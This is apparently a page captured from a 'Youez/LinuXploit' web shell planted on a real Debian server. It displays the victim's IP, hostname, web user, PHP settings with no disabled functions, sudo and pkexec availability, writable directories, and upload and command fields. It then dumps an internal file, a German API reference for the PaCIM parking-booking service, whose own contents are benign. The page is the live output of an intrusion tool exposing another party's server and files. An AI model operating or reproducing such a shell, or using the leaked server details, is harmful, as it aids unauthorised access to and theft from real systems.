403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/3951573/cwd/tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/3951573/cwd/tmp/docs.html
<!DOCTYPE html>
<html lang="de">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>PaCIM API – Dokumentation</title>
<style>
:root{ --bg:#f5f7fb; --card:#fff; --ink:#1e2633; --muted:#7e8896; --line:#e6eef4; --primary:#0b4677; --accent:#1a6bb0; --get:#1d9a4f; --post:#2563c9; --code:#0f1b2d; }
*{box-sizing:border-box}
body{margin:0;background:var(--bg);color:var(--ink);font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;font-size:15px;line-height:1.6}
a{color:var(--accent);text-decoration:none}
code,kbd{font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,monospace}
.topbar{background:linear-gradient(135deg,#0b4677,#1a6bb0);color:#fff;padding:34px 28px}
.topbar .wrap{max-width:1180px;margin:0 auto}
.topbar h1{margin:0 0 6px;font-size:26px;font-weight:700}
.topbar p{margin:0;opacity:.92}
.topbar .base{display:inline-flex;align-items:center;gap:8px;margin-top:14px;background:rgba(255,255,255,.14);border:1px solid rgba(255,255,255,.25);border-radius:8px;padding:8px 12px;font-family:ui-monospace,monospace;font-size:13px}
.layout{max-width:1180px;margin:0 auto;display:grid;grid-template-columns:240px 1fr;gap:28px;padding:28px}
.nav{position:sticky;top:20px;align-self:start;max-height:calc(100vh - 40px);overflow:auto}
.nav .grp{font-size:11px;text-transform:uppercase;letter-spacing:.5px;color:var(--muted);margin:16px 0 6px;font-weight:700}
.nav a{display:flex;align-items:center;gap:8px;padding:5px 8px;border-radius:7px;color:var(--ink);font-size:13.5px}
.nav a:hover{background:#eaf1f8}
.badge{display:inline-flex;align-items:center;justify-content:center;font-size:10px;font-weight:700;border-radius:5px;padding:2px 6px;color:#fff;min-width:38px}
.badge.GET{background:var(--get)} .badge.POST{background:var(--post)}
.intro,.endpoint{background:var(--card);border:1px solid var(--line);border-radius:14px;padding:22px 24px;margin-bottom:18px;box-shadow:0 1px 2px rgba(16,32,56,.04)}
.intro h2{margin:0 0 10px;font-size:19px}
.intro h3{margin:18px 0 8px;font-size:15px}
.intro p{margin:6px 0}
.scopes{width:100%;border-collapse:collapse;margin-top:6px}
.scopes td{padding:7px 10px;border-bottom:1px solid var(--line);vertical-align:top;font-size:14px}
.scopes tr:last-child td{border-bottom:0}
.scopes code{background:#eef3f9;color:var(--primary);padding:2px 7px;border-radius:6px;font-size:12.5px;white-space:nowrap}
.grp-title{font-size:13px;text-transform:uppercase;letter-spacing:.6px;color:var(--muted);font-weight:700;margin:26px 0 10px}
.endpoint{scroll-margin-top:20px}
.ep-head{display:flex;align-items:center;gap:12px;flex-wrap:wrap}
.ep-path{font-family:ui-monospace,monospace;font-size:14px;font-weight:600;color:var(--ink)}
.ep-scope{margin-left:auto;font-size:11.5px;background:#eef3f9;color:var(--primary);border:1px solid #d9e4f0;border-radius:999px;padding:3px 11px;font-weight:600;white-space:nowrap}
.ep-desc{color:#3a4a5e;margin:12px 0 6px}
.params{width:100%;border-collapse:collapse;margin:10px 0 4px;font-size:13.5px}
.params th{text-align:left;color:var(--muted);font-weight:600;font-size:12px;text-transform:uppercase;letter-spacing:.3px;padding:6px 10px;border-bottom:2px solid var(--line)}
.params td{padding:7px 10px;border-bottom:1px solid var(--line);vertical-align:top}
.params td:first-child{font-family:ui-monospace,monospace;color:var(--primary);white-space:nowrap}
.params .req{color:#b5294a;font-weight:700} .params .opt{color:var(--muted)}
.codeblk{position:relative;background:var(--code);color:#e6edf6;border-radius:10px;padding:14px 16px;overflow:auto;font-family:ui-monospace,monospace;font-size:12.5px;line-height:1.55;margin:8px 0}
.codeblk .lbl{position:absolute;top:8px;right:12px;font-size:10px;letter-spacing:.5px;text-transform:uppercase;color:#7d93ad}
.codeblk pre{margin:0;white-space:pre}
.cols{display:grid;grid-template-columns:1fr 1fr;gap:14px;margin-top:6px}
@media(max-width:880px){.layout{grid-template-columns:1fr}.nav{display:none}.cols{grid-template-columns:1fr}}
.foot{max-width:1180px;margin:0 auto;padding:10px 28px 40px;color:var(--muted);font-size:13px}
</style>
</head>
<body>
<div class="topbar"><div class="wrap">
  <h1>PaCIM API</h1>
  <p>Schlüsselbasierte REST-API für Buchungen, Schiffe/Termine und Produkte/Preise.</p>
  <div class="base">Basis-URL:&nbsp; <strong>https://seaside.pacim.de/api.php</strong></div>
</div></div>

<div class="layout">
  <nav class="nav">
    <div class="grp">Einführung</div>
    <a href="#auth"><span>Authentifizierung</span></a>
    <a href="#scopes"><span>Berechtigungen</span></a>
    <a href="#errors"><span>Antworten &amp; Fehler</span></a>
          <div class="grp">Buchungen</div>
              <a href="#booking-get"><span class="badge GET">GET</span> <span>booking/get</span></a>
              <a href="#booking-file"><span class="badge GET">GET</span> <span>booking/file</span></a>
              <a href="#booking-create"><span class="badge POST">POST</span> <span>booking/create</span></a>
              <a href="#booking-update"><span class="badge POST">POST</span> <span>booking/update</span></a>
                <div class="grp">Schiffe &amp; Termine</div>
              <a href="#event-ships"><span class="badge GET">GET</span> <span>event/ships</span></a>
              <a href="#event-list"><span class="badge GET">GET</span> <span>event/list</span></a>
              <a href="#event-get"><span class="badge GET">GET</span> <span>event/get</span></a>
              <a href="#event-save"><span class="badge POST">POST</span> <span>event/save</span></a>
                <div class="grp">Produkte &amp; Preise</div>
              <a href="#product-list"><span class="badge GET">GET</span> <span>product/list</span></a>
              <a href="#product-price"><span class="badge GET">GET</span> <span>product/price</span></a>
              <a href="#product-save"><span class="badge POST">POST</span> <span>product/save</span></a>
            </nav>

  <main>
    <section class="intro" id="auth">
      <h2>Authentifizierung</h2>
      <p>Jede Anfrage benötigt einen API-Schlüssel. Verwalte Schlüssel im Backend unter <strong>Einstellungen → API</strong>. Der Klartext-Schlüssel wird nur einmal bei der Erstellung angezeigt.</p>
      <p>Übergib den Schlüssel per Header (empfohlen):</p>
      <div class="codeblk"><span class="lbl">Header</span><pre>Authorization: Bearer pak_xxxxxxxxxxxxxxxxxxxxxxxx</pre></div>
      <p>Alternativ: Header <code>X-API-Key: pak_…</code> oder Query-Parameter <code>?api_key=pak_…</code>.</p>
    </section>

    <section class="intro" id="scopes">
      <h2>Berechtigungen (Scopes)</h2>
      <p>Jeder Schlüssel besitzt eine oder mehrere Berechtigungen. Fehlt die nötige Berechtigung, antwortet die API mit <code>403</code>.</p>
      <table class="scopes">
                  <tr><td><code>read_booking</code></td><td>Buchungen lesen (Daten, Buchungsbestätigung &amp; Rechnung als PDF)</td></tr>
                  <tr><td><code>edit_booking</code></td><td>Buchungen anlegen &amp; bearbeiten (Buchung, Kunde, Rechnung, Positionen)</td></tr>
                  <tr><td><code>read_event</code></td><td>Schiffe &amp; Termine lesen</td></tr>
                  <tr><td><code>edit_event</code></td><td>Schiffe &amp; Termine anlegen &amp; bearbeiten</td></tr>
                  <tr><td><code>read_product</code></td><td>Produkte lesen &amp; Preise berechnen</td></tr>
                  <tr><td><code>edit_product</code></td><td>Produkte &amp; Preise bearbeiten</td></tr>
              </table>
    </section>

    <section class="intro" id="errors">
      <h2>Antworten &amp; Fehler</h2>
      <p>Antworten sind JSON und enthalten stets ein <code>ok</code>-Flag (Ausnahme: <code>booking/file</code> liefert ein PDF). Fehler enthalten zusätzlich <code>error</code>.</p>
      <div class="cols">
        <div class="codeblk"><span class="lbl">Erfolg</span><pre>{ "ok": true, … }</pre></div>
        <div class="codeblk"><span class="lbl">Fehler</span><pre>{ "ok": false, "error": "…" }</pre></div>
      </div>
      <table class="params" style="margin-top:14px">
        <tr><th>Status</th><th>Bedeutung</th></tr>
        <tr><td>200</td><td>OK</td></tr>
        <tr><td>400</td><td>Ungültige/fehlende Parameter</td></tr>
        <tr><td>401</td><td>Schlüssel fehlt oder ungültig</td></tr>
        <tr><td>403</td><td>Fehlende Berechtigung (Scope)</td></tr>
        <tr><td>404</td><td>Ressource/Aktion nicht gefunden</td></tr>
        <tr><td>405</td><td>Falsche HTTP-Methode</td></tr>
        <tr><td>422</td><td>Verarbeitung fehlgeschlagen (z. B. Validierung)</td></tr>
      </table>
    </section>

          <div class="grp-title">Buchungen</div>
              <section class="endpoint" id="booking-get">
          <div class="ep-head">
            <span class="badge GET">GET</span>
            <span class="ep-path">/api.php?resource=booking&amp;action=get</span>
            <span class="ep-scope">read_booking</span>
          </div>
          <p class="ep-desc">Buchung samt Kunde, Rechnung und Positionen abrufen.</p>
                      <table class="params">
              <tr><th>Parameter</th><th>Typ</th><th>Pflicht</th><th>Beschreibung</th></tr>
                              <tr>
                  <td>invoice_id</td>
                  <td>integer</td>
                  <td class="req">ja</td>
                  <td>Rechnungs-ID</td>
                </tr>
                          </table>
                    <div class="cols">
            <div class="codeblk"><span class="lbl">Beispiel-Anfrage</span><pre>curl -H &quot;Authorization: Bearer pak_…&quot; \
  &quot;https://seaside.pacim.de/api.php?resource=booking&amp;action=get&amp;invoice_id=12&quot;</pre></div>
            <div class="codeblk"><span class="lbl">Antwort</span><pre>{
  &quot;ok&quot;: true,
  &quot;invoice&quot;:   { &quot;invoice_id&quot;: 12, &quot;invoice_no&quot;: &quot;PAS128&quot;, &quot;invoice_price&quot;: &quot;60.00&quot;, … },
  &quot;customer&quot;:  { &quot;customer_id&quot;: 12, &quot;customer_lastname&quot;: &quot;…&quot;, &quot;customer_email&quot;: &quot;…&quot;, … },
  &quot;bookings&quot;:  [ { &quot;booking_id&quot;: 31, &quot;booking_no&quot;: &quot;26-…&quot;, &quot;booking_begin&quot;: &quot;…&quot;, … } ],
  &quot;positions&quot;: [ { &quot;product_id&quot;: 1, &quot;invoice_pos_title&quot;: &quot;Hallenparkplatz&quot;, &quot;invoice_pos_price&quot;: &quot;…&quot;, &quot;invoice_pos_quantity&quot;: 1 } ],
  &quot;files&quot;: {
    &quot;booking_confirmation&quot;: &quot;https://seaside.pacim.de/api.php?resource=booking&amp;action=file&amp;type=booking&amp;invoice_id=12&quot;,
    &quot;invoice&quot;:              &quot;https://seaside.pacim.de/api.php?resource=booking&amp;action=file&amp;type=invoice&amp;invoice_id=12&quot;
  }
}</pre></div>
          </div>
        </section>
              <section class="endpoint" id="booking-file">
          <div class="ep-head">
            <span class="badge GET">GET</span>
            <span class="ep-path">/api.php?resource=booking&amp;action=file</span>
            <span class="ep-scope">read_booking</span>
          </div>
          <p class="ep-desc">Buchungsbestätigung oder Rechnung als PDF (wird als Datei gestreamt).</p>
                      <table class="params">
              <tr><th>Parameter</th><th>Typ</th><th>Pflicht</th><th>Beschreibung</th></tr>
                              <tr>
                  <td>invoice_id</td>
                  <td>integer</td>
                  <td class="req">ja</td>
                  <td>Rechnungs-ID</td>
                </tr>
                              <tr>
                  <td>type</td>
                  <td>string</td>
                  <td class="opt">nein</td>
                  <td>booking (Standard) oder invoice</td>
                </tr>
                              <tr>
                  <td>download</td>
                  <td>integer</td>
                  <td class="opt">nein</td>
                  <td>1 = als Anhang herunterladen</td>
                </tr>
                          </table>
                    <div class="cols">
            <div class="codeblk"><span class="lbl">Beispiel-Anfrage</span><pre>curl -H &quot;Authorization: Bearer pak_…&quot; \
  &quot;https://seaside.pacim.de/api.php?resource=booking&amp;action=file&amp;type=invoice&amp;invoice_id=12&quot; -o rechnung.pdf</pre></div>
            <div class="codeblk"><span class="lbl">Antwort</span><pre>Content-Type: application/pdf  (Binärdaten)</pre></div>
          </div>
        </section>
              <section class="endpoint" id="booking-create">
          <div class="ep-head">
            <span class="badge POST">POST</span>
            <span class="ep-path">/api.php?resource=booking&amp;action=create</span>
            <span class="ep-scope">edit_booking</span>
          </div>
          <p class="ep-desc">Neue Buchung anlegen – legt Kunde, Rechnung und Positionen in einer Transaktion an. Preise werden automatisch berechnet (optional per „price“ überschreibbar, netto).</p>
                      <table class="params">
              <tr><th>Parameter</th><th>Typ</th><th>Pflicht</th><th>Beschreibung</th></tr>
                              <tr>
                  <td>customer</td>
                  <td>object</td>
                  <td class="req">ja</td>
                  <td>{ gender(1|2), firstname, lastname | company, street, zipcode, city, country, phone, email }</td>
                </tr>
                              <tr>
                  <td>begin</td>
                  <td>date</td>
                  <td class="req">ja</td>
                  <td>Reisebeginn YYYY-MM-DD</td>
                </tr>
                              <tr>
                  <td>end</td>
                  <td>date</td>
                  <td class="req">ja</td>
                  <td>Reiseende YYYY-MM-DD</td>
                </tr>
                              <tr>
                  <td>type</td>
                  <td>integer</td>
                  <td class="req">ja</td>
                  <td>1 = Halle, 2 = Außen</td>
                </tr>
                              <tr>
                  <td>plate</td>
                  <td>string</td>
                  <td class="opt">nein</td>
                  <td>Kfz-Kennzeichen</td>
                </tr>
                              <tr>
                  <td>event</td>
                  <td>string</td>
                  <td class="opt">nein</td>
                  <td>Schiff/Event-Name</td>
                </tr>
                              <tr>
                  <td>event_id</td>
                  <td>integer</td>
                  <td class="opt">nein</td>
                  <td>Termin-ID (event_calendar_id)</td>
                </tr>
                              <tr>
                  <td>products</td>
                  <td>array</td>
                  <td class="opt">nein</td>
                  <td>Zusatzprodukt-IDs (≥ 3)</td>
                </tr>
                              <tr>
                  <td>guests</td>
                  <td>integer</td>
                  <td class="opt">nein</td>
                  <td>Anzahl Gäste</td>
                </tr>
                              <tr>
                  <td>price</td>
                  <td>number</td>
                  <td class="opt">nein</td>
                  <td>Manueller Brutto-Preis (überschreibt Berechnung)</td>
                </tr>
                              <tr>
                  <td>notify</td>
                  <td>boolean</td>
                  <td class="opt">nein</td>
                  <td>E-Mail-Regeln auslösen (Standard: true)</td>
                </tr>
                          </table>
                    <div class="cols">
            <div class="codeblk"><span class="lbl">Beispiel-Anfrage</span><pre>curl -X POST -H &quot;Authorization: Bearer pak_…&quot; -H &quot;Content-Type: application/json&quot; \
  &quot;https://seaside.pacim.de/api.php?resource=booking&amp;action=create&quot; -d &#039;{
    &quot;customer&quot;: { &quot;firstname&quot;: &quot;Max&quot;, &quot;lastname&quot;: &quot;Mustermann&quot;, &quot;email&quot;: &quot;max@example.com&quot;, &quot;city&quot;: &quot;Rostock&quot; },
    &quot;begin&quot;: &quot;2026-08-01&quot;, &quot;end&quot;: &quot;2026-08-05&quot;, &quot;type&quot;: 1,
    &quot;plate&quot;: &quot;HRO-AB123&quot;, &quot;event&quot;: &quot;AIDAmar&quot;, &quot;guests&quot;: 2
  }&#039;</pre></div>
            <div class="codeblk"><span class="lbl">Antwort</span><pre>{ &quot;ok&quot;: true, &quot;invoice_id&quot;: 122661, &quot;booking_id&quot;: 114690, &quot;booking_no&quot;: &quot;26-17359&quot; }</pre></div>
          </div>
        </section>
              <section class="endpoint" id="booking-update">
          <div class="ep-head">
            <span class="badge POST">POST</span>
            <span class="ep-path">/api.php?resource=booking&amp;action=update</span>
            <span class="ep-scope">edit_booking</span>
          </div>
          <p class="ep-desc">Bestehende Buchung aktualisieren (nur übergebene Felder). Zahlungsstatus &amp; Preis der Rechnung sowie Kundendaten möglich.</p>
                      <table class="params">
              <tr><th>Parameter</th><th>Typ</th><th>Pflicht</th><th>Beschreibung</th></tr>
                              <tr>
                  <td>booking_id</td>
                  <td>integer</td>
                  <td class="req">ja</td>
                  <td>Buchungs-ID</td>
                </tr>
                              <tr>
                  <td>begin / end</td>
                  <td>date</td>
                  <td class="opt">nein</td>
                  <td>Reisezeitraum</td>
                </tr>
                              <tr>
                  <td>plate / event / event_id / type / guests</td>
                  <td>—</td>
                  <td class="opt">nein</td>
                  <td>Buchungsfelder</td>
                </tr>
                              <tr>
                  <td>customer</td>
                  <td>object</td>
                  <td class="opt">nein</td>
                  <td>Kundenfelder (s. create)</td>
                </tr>
                              <tr>
                  <td>paid</td>
                  <td>boolean</td>
                  <td class="opt">nein</td>
                  <td>Zahlung als erhalten markieren</td>
                </tr>
                              <tr>
                  <td>price</td>
                  <td>number</td>
                  <td class="opt">nein</td>
                  <td>Rechnungsbetrag (brutto)</td>
                </tr>
                          </table>
                    <div class="cols">
            <div class="codeblk"><span class="lbl">Beispiel-Anfrage</span><pre>curl -X POST -H &quot;Authorization: Bearer pak_…&quot; -H &quot;Content-Type: application/json&quot; \
  &quot;https://seaside.pacim.de/api.php?resource=booking&amp;action=update&quot; -d &#039;{ &quot;booking_id&quot;: 114690, &quot;guests&quot;: 3, &quot;paid&quot;: true }&#039;</pre></div>
            <div class="codeblk"><span class="lbl">Antwort</span><pre>{ &quot;ok&quot;: true, &quot;booking_id&quot;: 114690 }</pre></div>
          </div>
        </section>
                <div class="grp-title">Schiffe &amp; Termine</div>
              <section class="endpoint" id="event-ships">
          <div class="ep-head">
            <span class="badge GET">GET</span>
            <span class="ep-path">/api.php?resource=event&amp;action=ships</span>
            <span class="ep-scope">read_event</span>
          </div>
          <p class="ep-desc">Liste aller Schiffe (eindeutige Namen) mit Anzahl Termine.</p>
                    <div class="cols">
            <div class="codeblk"><span class="lbl">Beispiel-Anfrage</span><pre>curl -H &quot;Authorization: Bearer pak_…&quot; &quot;https://seaside.pacim.de/api.php?resource=event&amp;action=ships&quot;</pre></div>
            <div class="codeblk"><span class="lbl">Antwort</span><pre>{ &quot;ok&quot;: true, &quot;ships&quot;: [ { &quot;ship&quot;: &quot;AIDAmar&quot;, &quot;cruise_id&quot;: null, &quot;dates&quot;: 12 }, … ] }</pre></div>
          </div>
        </section>
              <section class="endpoint" id="event-list">
          <div class="ep-head">
            <span class="badge GET">GET</span>
            <span class="ep-path">/api.php?resource=event&amp;action=list</span>
            <span class="ep-scope">read_event</span>
          </div>
          <p class="ep-desc">Termine auflisten – optional je Schiff und/oder Zeitraum.</p>
                      <table class="params">
              <tr><th>Parameter</th><th>Typ</th><th>Pflicht</th><th>Beschreibung</th></tr>
                              <tr>
                  <td>ship</td>
                  <td>string</td>
                  <td class="opt">nein</td>
                  <td>Schiffsname (exakt)</td>
                </tr>
                              <tr>
                  <td>from</td>
                  <td>date</td>
                  <td class="opt">nein</td>
                  <td>ab Datum YYYY-MM-DD</td>
                </tr>
                              <tr>
                  <td>to</td>
                  <td>date</td>
                  <td class="opt">nein</td>
                  <td>bis Datum YYYY-MM-DD</td>
                </tr>
                              <tr>
                  <td>active</td>
                  <td>integer</td>
                  <td class="opt">nein</td>
                  <td>1 = nur aktive</td>
                </tr>
                          </table>
                    <div class="cols">
            <div class="codeblk"><span class="lbl">Beispiel-Anfrage</span><pre>curl -H &quot;Authorization: Bearer pak_…&quot; \
  &quot;https://seaside.pacim.de/api.php?resource=event&amp;action=list&amp;ship=AIDAmar&amp;from=2026-06-15&amp;active=1&quot;</pre></div>
            <div class="codeblk"><span class="lbl">Antwort</span><pre>{ &quot;ok&quot;: true, &quot;events&quot;: [ { &quot;id&quot;: 1149, &quot;ship&quot;: &quot;AIDAmar&quot;, &quot;organizer&quot;: &quot;AIDA Cruises&quot;, &quot;begin&quot;: &quot;2026-06-16 10:30:00&quot;, &quot;end&quot;: &quot;…&quot;, &quot;indoor&quot;: 5, &quot;outdoor&quot;: 30, &quot;valet&quot;: 5, &quot;active&quot;: 1 }, … ] }</pre></div>
          </div>
        </section>
              <section class="endpoint" id="event-get">
          <div class="ep-head">
            <span class="badge GET">GET</span>
            <span class="ep-path">/api.php?resource=event&amp;action=get</span>
            <span class="ep-scope">read_event</span>
          </div>
          <p class="ep-desc">Einzelnen Termin abrufen.</p>
                      <table class="params">
              <tr><th>Parameter</th><th>Typ</th><th>Pflicht</th><th>Beschreibung</th></tr>
                              <tr>
                  <td>id</td>
                  <td>integer</td>
                  <td class="req">ja</td>
                  <td>Termin-ID</td>
                </tr>
                          </table>
                    <div class="cols">
            <div class="codeblk"><span class="lbl">Beispiel-Anfrage</span><pre>curl -H &quot;Authorization: Bearer pak_…&quot; &quot;https://seaside.pacim.de/api.php?resource=event&amp;action=get&amp;id=1149&quot;</pre></div>
            <div class="codeblk"><span class="lbl">Antwort</span><pre>{ &quot;ok&quot;: true, &quot;event&quot;: { &quot;event_calendar_id&quot;: 1149, &quot;event_calendar_title&quot;: &quot;AIDAmar&quot;, … } }</pre></div>
          </div>
        </section>
              <section class="endpoint" id="event-save">
          <div class="ep-head">
            <span class="badge POST">POST</span>
            <span class="ep-path">/api.php?resource=event&amp;action=save</span>
            <span class="ep-scope">edit_event</span>
          </div>
          <p class="ep-desc">Termin anlegen (ohne id) oder aktualisieren (mit id).</p>
                      <table class="params">
              <tr><th>Parameter</th><th>Typ</th><th>Pflicht</th><th>Beschreibung</th></tr>
                              <tr>
                  <td>id</td>
                  <td>integer</td>
                  <td class="opt">nein</td>
                  <td>vorhanden = Update</td>
                </tr>
                              <tr>
                  <td>ship</td>
                  <td>string</td>
                  <td class="req">ja*</td>
                  <td>Schiffsname (*bei Anlage)</td>
                </tr>
                              <tr>
                  <td>begin</td>
                  <td>datetime</td>
                  <td class="req">ja*</td>
                  <td>Beginn (*bei Anlage)</td>
                </tr>
                              <tr>
                  <td>end</td>
                  <td>datetime</td>
                  <td class="opt">nein</td>
                  <td>Ende</td>
                </tr>
                              <tr>
                  <td>cruise_id</td>
                  <td>string</td>
                  <td class="opt">nein</td>
                  <td>Cruise-ID</td>
                </tr>
                              <tr>
                  <td>indoor / outdoor / valet</td>
                  <td>integer</td>
                  <td class="opt">nein</td>
                  <td>Stellplätze</td>
                </tr>
                              <tr>
                  <td>organizer_id</td>
                  <td>integer</td>
                  <td class="opt">nein</td>
                  <td>Veranstalter-ID</td>
                </tr>
                              <tr>
                  <td>active</td>
                  <td>boolean</td>
                  <td class="opt">nein</td>
                  <td>aktiv</td>
                </tr>
                          </table>
                    <div class="cols">
            <div class="codeblk"><span class="lbl">Beispiel-Anfrage</span><pre>curl -X POST -H &quot;Authorization: Bearer pak_…&quot; -H &quot;Content-Type: application/json&quot; \
  &quot;https://seaside.pacim.de/api.php?resource=event&amp;action=save&quot; -d &#039;{ &quot;ship&quot;: &quot;AIDAmar&quot;, &quot;begin&quot;: &quot;2026-09-01 08:00:00&quot;, &quot;indoor&quot;: 10, &quot;outdoor&quot;: 40 }&#039;</pre></div>
            <div class="codeblk"><span class="lbl">Antwort</span><pre>{ &quot;ok&quot;: true, &quot;id&quot;: 1250 }</pre></div>
          </div>
        </section>
                <div class="grp-title">Produkte &amp; Preise</div>
              <section class="endpoint" id="product-list">
          <div class="ep-head">
            <span class="badge GET">GET</span>
            <span class="ep-path">/api.php?resource=product&amp;action=list</span>
            <span class="ep-scope">read_product</span>
          </div>
          <p class="ep-desc">Verfügbare Produkte mit Basispreis (netto) und Steuersatz.</p>
                    <div class="cols">
            <div class="codeblk"><span class="lbl">Beispiel-Anfrage</span><pre>curl -H &quot;Authorization: Bearer pak_…&quot; &quot;https://seaside.pacim.de/api.php?resource=product&amp;action=list&quot;</pre></div>
            <div class="codeblk"><span class="lbl">Antwort</span><pre>{ &quot;ok&quot;: true, &quot;products&quot;: [ { &quot;product_id&quot;: 1, &quot;product_title&quot;: &quot;Hallenparkplatz&quot;, &quot;product_price&quot;: &quot;…&quot;, &quot;product_tax&quot;: 19 }, … ] }</pre></div>
          </div>
        </section>
              <section class="endpoint" id="product-price">
          <div class="ep-head">
            <span class="badge GET">GET</span>
            <span class="ep-path">/api.php?resource=product&amp;action=price</span>
            <span class="ep-scope">read_product</span>
          </div>
          <p class="ep-desc">Preis für einen Zeitraum berechnen (Parkplatz + optionale Zusatzprodukte). Liefert Netto/Brutto, Dauer, Positionen und ggf. Provision.</p>
                      <table class="params">
              <tr><th>Parameter</th><th>Typ</th><th>Pflicht</th><th>Beschreibung</th></tr>
                              <tr>
                  <td>begin</td>
                  <td>date</td>
                  <td class="req">ja</td>
                  <td>von YYYY-MM-DD</td>
                </tr>
                              <tr>
                  <td>end</td>
                  <td>date</td>
                  <td class="req">ja</td>
                  <td>bis YYYY-MM-DD</td>
                </tr>
                              <tr>
                  <td>type</td>
                  <td>integer</td>
                  <td class="opt">nein</td>
                  <td>1 = Halle (Standard), 2 = Außen</td>
                </tr>
                              <tr>
                  <td>products</td>
                  <td>array/csv</td>
                  <td class="opt">nein</td>
                  <td>Zusatzprodukt-IDs</td>
                </tr>
                              <tr>
                  <td>broker_id</td>
                  <td>integer</td>
                  <td class="opt">nein</td>
                  <td>für Provisionsberechnung</td>
                </tr>
                          </table>
                    <div class="cols">
            <div class="codeblk"><span class="lbl">Beispiel-Anfrage</span><pre>curl -H &quot;Authorization: Bearer pak_…&quot; \
  &quot;https://seaside.pacim.de/api.php?resource=product&amp;action=price&amp;type=1&amp;begin=2026-07-01&amp;end=2026-07-08&quot;</pre></div>
            <div class="codeblk"><span class="lbl">Antwort</span><pre>{
  &quot;ok&quot;: true,
  &quot;quote&quot;: {
    &quot;duration&quot;: 7,
    &quot;positions&quot;: [ { &quot;product_id&quot;: 1, &quot;title&quot;: &quot;Hallenparkplatz&quot;, &quot;net&quot;: 105.04, &quot;qty&quot;: 1 } ],
    &quot;net&quot;: 105.04, &quot;gross&quot;: 125.00,
    &quot;park_gross&quot;: 125.00, &quot;addon_gross&quot;: 0,
    &quot;rate&quot;: 10, &quot;addon_rate&quot;: 5, &quot;commission&quot;: 12.50
  }
}</pre></div>
          </div>
        </section>
              <section class="endpoint" id="product-save">
          <div class="ep-head">
            <span class="badge POST">POST</span>
            <span class="ep-path">/api.php?resource=product&amp;action=save</span>
            <span class="ep-scope">edit_product</span>
          </div>
          <p class="ep-desc">Produkt/Preis aktualisieren. Mit „year“ wird ein jahresspezifischer Preis gesetzt.</p>
                      <table class="params">
              <tr><th>Parameter</th><th>Typ</th><th>Pflicht</th><th>Beschreibung</th></tr>
                              <tr>
                  <td>product_id</td>
                  <td>integer</td>
                  <td class="req">ja</td>
                  <td>Produkt-ID</td>
                </tr>
                              <tr>
                  <td>title</td>
                  <td>string</td>
                  <td class="opt">nein</td>
                  <td>Bezeichnung</td>
                </tr>
                              <tr>
                  <td>price</td>
                  <td>number</td>
                  <td class="opt">nein</td>
                  <td>Preis (netto)</td>
                </tr>
                              <tr>
                  <td>tax</td>
                  <td>integer</td>
                  <td class="opt">nein</td>
                  <td>Steuersatz %</td>
                </tr>
                              <tr>
                  <td>year</td>
                  <td>integer</td>
                  <td class="opt">nein</td>
                  <td>Jahr für jahresspezifischen Preis</td>
                </tr>
                          </table>
                    <div class="cols">
            <div class="codeblk"><span class="lbl">Beispiel-Anfrage</span><pre>curl -X POST -H &quot;Authorization: Bearer pak_…&quot; -H &quot;Content-Type: application/json&quot; \
  &quot;https://seaside.pacim.de/api.php?resource=product&amp;action=save&quot; -d &#039;{ &quot;product_id&quot;: 3, &quot;price&quot;: 25.00, &quot;year&quot;: 2026 }&#039;</pre></div>
            <div class="codeblk"><span class="lbl">Antwort</span><pre>{ &quot;ok&quot;: true, &quot;product_id&quot;: 3 }</pre></div>
          </div>
        </section>
            </main>
</div>
<div class="foot">PaCIM · seaside.pacim.de · API-Dokumentation</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit